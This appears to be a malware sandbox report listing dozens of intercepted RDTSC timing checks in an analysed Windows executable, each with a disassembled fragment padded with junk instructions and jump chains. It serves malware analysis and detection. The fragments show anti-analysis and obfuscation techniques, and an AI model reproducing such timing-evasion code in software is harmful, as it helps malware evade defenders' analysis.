Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D6A8 second address: 60D6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jmp 00007FF7B4BDD215h 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007FF7B4BDD206h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D6D0 second address: 60D6D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C587 second address: 60C58D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C850 second address: 60C868 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FF7B4BE4C43h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C868 second address: 60C872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60CDC9 second address: 60CDCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D0A0 second address: 60D0A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D0A4 second address: 60D0B0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jg 00007FF7B4BE4C36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60EF1B second address: 60EF23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611790 second address: 611794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611A91 second address: 611AF7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF7B4BDD20Ch 0x00000008 jbe 00007FF7B4BDD206h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 xor dword ptr [ebp+122D2447h], esi 0x00000019 push 00000004h 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007FF7B4BDD208h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 jmp 00007FF7B4BDD213h 0x0000003a call 00007FF7B4BDD209h 0x0000003f jmp 00007FF7B4BDD20Dh 0x00000044 push eax 0x00000045 pushad 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611AF7 second address: 611B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 js 00007FF7B4BE4C3Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611B04 second address: 611B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611B13 second address: 611B28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611B28 second address: 611B4F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF7B4BDD208h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF7B4BDD217h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61340B second address: 613447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007FF7B4BE4C49h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007FF7B4BE4C3Ah 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b js 00007FF7B4BE4C42h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613447 second address: 61346F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF7B4BDD206h 0x0000000a pushad 0x0000000b jne 00007FF7B4BDD206h 0x00000011 jmp 00007FF7B4BDD216h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61346F second address: 61347A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FF7B4BE4C36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC036E second address: 4CC0372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0372 second address: 4CC038D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC038D second address: 4CC03A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF7B4BDD214h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC03A5 second address: 4CC03E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FF7B4BE4C46h 0x00000011 push eax 0x00000012 jmp 00007FF7B4BE4C3Bh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 push esi 0x0000001a mov ebx, 1162C516h 0x0000001f pop ebx 0x00000020 push esi 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC03E5 second address: 4CC0442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 jmp 00007FF7B4BDD214h 0x0000000d mov edx, dword ptr [ebp+0Ch] 0x00000010 jmp 00007FF7B4BDD210h 0x00000015 mov ecx, dword ptr [ebp+08h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FF7B4BDD20Dh 0x00000021 adc esi, 516E77D6h 0x00000027 jmp 00007FF7B4BDD211h 0x0000002c popfd 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0442 second address: 4CC0447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE06FF second address: 4CE071E instructions: 0x00000000 rdtsc 0x00000002 mov si, 51E1h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov di, si 0x0000000b popad 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF7B4BDD20Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE071E second address: 4CE074B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF7B4BE4C3Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE074B second address: 4CE077D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov bx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FF7B4BDD215h 0x00000012 xchg eax, ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF7B4BDD20Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE077D second address: 4CE0804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 pushfd 0x00000007 jmp 00007FF7B4BE4C43h 0x0000000c sub al, 0000005Eh 0x0000000f jmp 00007FF7B4BE4C49h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, esi 0x00000019 jmp 00007FF7B4BE4C3Eh 0x0000001e push eax 0x0000001f pushad 0x00000020 mov edx, 16825804h 0x00000025 mov bl, F0h 0x00000027 popad 0x00000028 xchg eax, esi 0x00000029 pushad 0x0000002a mov dl, al 0x0000002c mov bx, 4DD2h 0x00000030 popad 0x00000031 lea eax, dword ptr [ebp-04h] 0x00000034 jmp 00007FF7B4BE4C49h 0x00000039 nop 0x0000003a pushad 0x0000003b mov cl, DAh 0x0000003d movsx edx, ax 0x00000040 popad 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0804 second address: 4CE0808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0808 second address: 4CE080E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE080E second address: 4CE0825 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF7B4BDD20Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE086C second address: 4CE0870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0870 second address: 4CE0887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 cmp dword ptr [ebp-04h], 00000000h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF7B4BDD20Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0887 second address: 4CE08CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b jmp 00007FF7B4BE4C46h 0x00000010 je 00007FF7B4BE4CB9h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF7B4BE4C47h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0926 second address: 4CE0948 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD20Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF7B4BDD20Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0948 second address: 4CE0958 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF7B4BE4C3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0958 second address: 4CE095C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE095C second address: 4CE0017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 jmp 00007FF7B4BE4C47h 0x0000000e leave 0x0000000f jmp 00007FF7B4BE4C46h 0x00000014 retn 0004h 0x00000017 nop 0x00000018 sub esp, 04h 0x0000001b cmp eax, 00000000h 0x0000001e setne al 0x00000021 jmp 00007FF7B4BE4C32h 0x00000023 xor ebx, ebx 0x00000025 test al, 01h 0x00000027 jne 00007FF7B4BE4C37h 0x00000029 xor eax, eax 0x0000002b mov dword ptr [esp], 00000000h 0x00000032 mov dword ptr [esp+04h], 00000000h 0x0000003a call 00007FF7B9576463h 0x0000003f mov edi, edi 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 call 00007FF7B4BE4C3Eh 0x00000049 pop ecx 0x0000004a pushad 0x0000004b popad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0017 second address: 4CE006F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a jmp 00007FF7B4BDD210h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 mov eax, edx 0x00000014 pushad 0x00000015 mov dl, B9h 0x00000017 call 00007FF7B4BDD210h 0x0000001c pop eax 0x0000001d popad 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 jmp 00007FF7B4BDD211h 0x00000025 mov ebp, esp 0x00000027 pushad 0x00000028 mov cx, di 0x0000002b popad 0x0000002c push FFFFFFFEh 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 mov si, 962Dh 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE006F second address: 4CE0088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF7B4BE4C45h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0088 second address: 4CE0129 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 779E3BECh 0x0000000d pushad 0x0000000e mov dx, si 0x00000011 mov cl, EBh 0x00000013 popad 0x00000014 xor dword ptr [esp], 0234A5A4h 0x0000001b jmp 00007FF7B4BDD217h 0x00000020 call 00007FF7B4BDD209h 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FF7B4BDD214h 0x0000002c jmp 00007FF7B4BDD215h 0x00000031 popfd 0x00000032 pushfd 0x00000033 jmp 00007FF7B4BDD210h 0x00000038 sub si, 0118h 0x0000003d jmp 00007FF7B4BDD20Bh 0x00000042 popfd 0x00000043 popad 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FF7B4BDD214h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0129 second address: 4CE015A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 pushfd 0x00000007 jmp 00007FF7B4BE4C3Ah 0x0000000c and esi, 034C22A8h 0x00000012 jmp 00007FF7B4BE4C3Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov ah, FDh 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE015A second address: 4CE015F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE015F second address: 4CE0238 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF7B4BE4C48h 0x00000009 xor esi, 5954D038h 0x0000000f jmp 00007FF7B4BE4C3Bh 0x00000014 popfd 0x00000015 mov dl, ah 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FF7B4BE4C3Eh 0x00000024 jmp 00007FF7B4BE4C45h 0x00000029 popfd 0x0000002a popad 0x0000002b pushfd 0x0000002c jmp 00007FF7B4BE4C47h 0x00000031 add ax, 200Eh 0x00000036 jmp 00007FF7B4BE4C49h 0x0000003b popfd 0x0000003c popad 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 pushad 0x00000042 call 00007FF7B4BE4C47h 0x00000047 jmp 00007FF7B4BE4C48h 0x0000004c pop ecx 0x0000004d mov edi, 046F25A6h 0x00000052 popad 0x00000053 pop eax 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 push esi 0x00000058 pop edi 0x00000059 push esi 0x0000005a pop edx 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0238 second address: 4CE0270 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD217h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF7B4BDD215h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0270 second address: 4CE02A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FF7B4BE4C49h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE02A5 second address: 4CE02C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE02C1 second address: 4CE02C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE02C5 second address: 4CE02DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD216h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE02DF second address: 4CE02F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d movzx esi, bx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE02F5 second address: 4CE03AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FF7B4BDD20Ah 0x0000000a add ah, 00000028h 0x0000000d jmp 00007FF7B4BDD20Bh 0x00000012 popfd 0x00000013 popad 0x00000014 sub esp, 18h 0x00000017 jmp 00007FF7B4BDD216h 0x0000001c xchg eax, ebx 0x0000001d jmp 00007FF7B4BDD210h 0x00000022 push eax 0x00000023 jmp 00007FF7B4BDD20Bh 0x00000028 xchg eax, ebx 0x00000029 jmp 00007FF7B4BDD216h 0x0000002e xchg eax, esi 0x0000002f jmp 00007FF7B4BDD210h 0x00000034 push eax 0x00000035 jmp 00007FF7B4BDD20Bh 0x0000003a xchg eax, esi 0x0000003b jmp 00007FF7B4BDD216h 0x00000040 xchg eax, edi 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FF7B4BDD217h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE03AF second address: 4CE03B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE03B5 second address: 4CE03B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE03B9 second address: 4CE03D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF7B4BE4C3Eh 0x0000000e xchg eax, edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE03D7 second address: 4CE03F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE03F4 second address: 4CE0414 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [75AB4538h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0414 second address: 4CE0418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0418 second address: 4CE041C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE041C second address: 4CE0422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0422 second address: 4CE0437 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF7B4BE4C41h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0437 second address: 4CE043B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE043B second address: 4CE044F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [ebp-08h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov al, 4Ch 0x00000010 mov si, di 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE044F second address: 4CE0455 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0455 second address: 4CE046F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF7B4BE4C3Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE046F second address: 4CE049F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD20Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov bx, cx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF7B4BDD216h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE049F second address: 4CE04A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE04A5 second address: 4CE04BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD20Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE04BE second address: 4CE04C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE04C2 second address: 4CE04DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE04DF second address: 4CE05BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF7B4BE4C3Ch 0x00000013 jmp 00007FF7B4BE4C45h 0x00000018 popfd 0x00000019 mov ebx, ecx 0x0000001b popad 0x0000001c mov dword ptr fs:[00000000h], eax 0x00000022 jmp 00007FF7B4BE4C3Ah 0x00000027 mov dword ptr [ebp-18h], esp 0x0000002a jmp 00007FF7B4BE4C40h 0x0000002f mov eax, dword ptr fs:[00000018h] 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007FF7B4BE4C3Eh 0x0000003c jmp 00007FF7B4BE4C45h 0x00000041 popfd 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007FF7B4BE4C3Eh 0x00000049 xor esi, 08A98858h 0x0000004f jmp 00007FF7B4BE4C3Bh 0x00000054 popfd 0x00000055 call 00007FF7B4BE4C48h 0x0000005a pop eax 0x0000005b popad 0x0000005c popad 0x0000005d mov ecx, dword ptr [eax+00000FDCh] 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007FF7B4BE4C3Ch 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE05BE second address: 4CE05D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 mov ah, 16h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test ecx, ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov dl, al 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
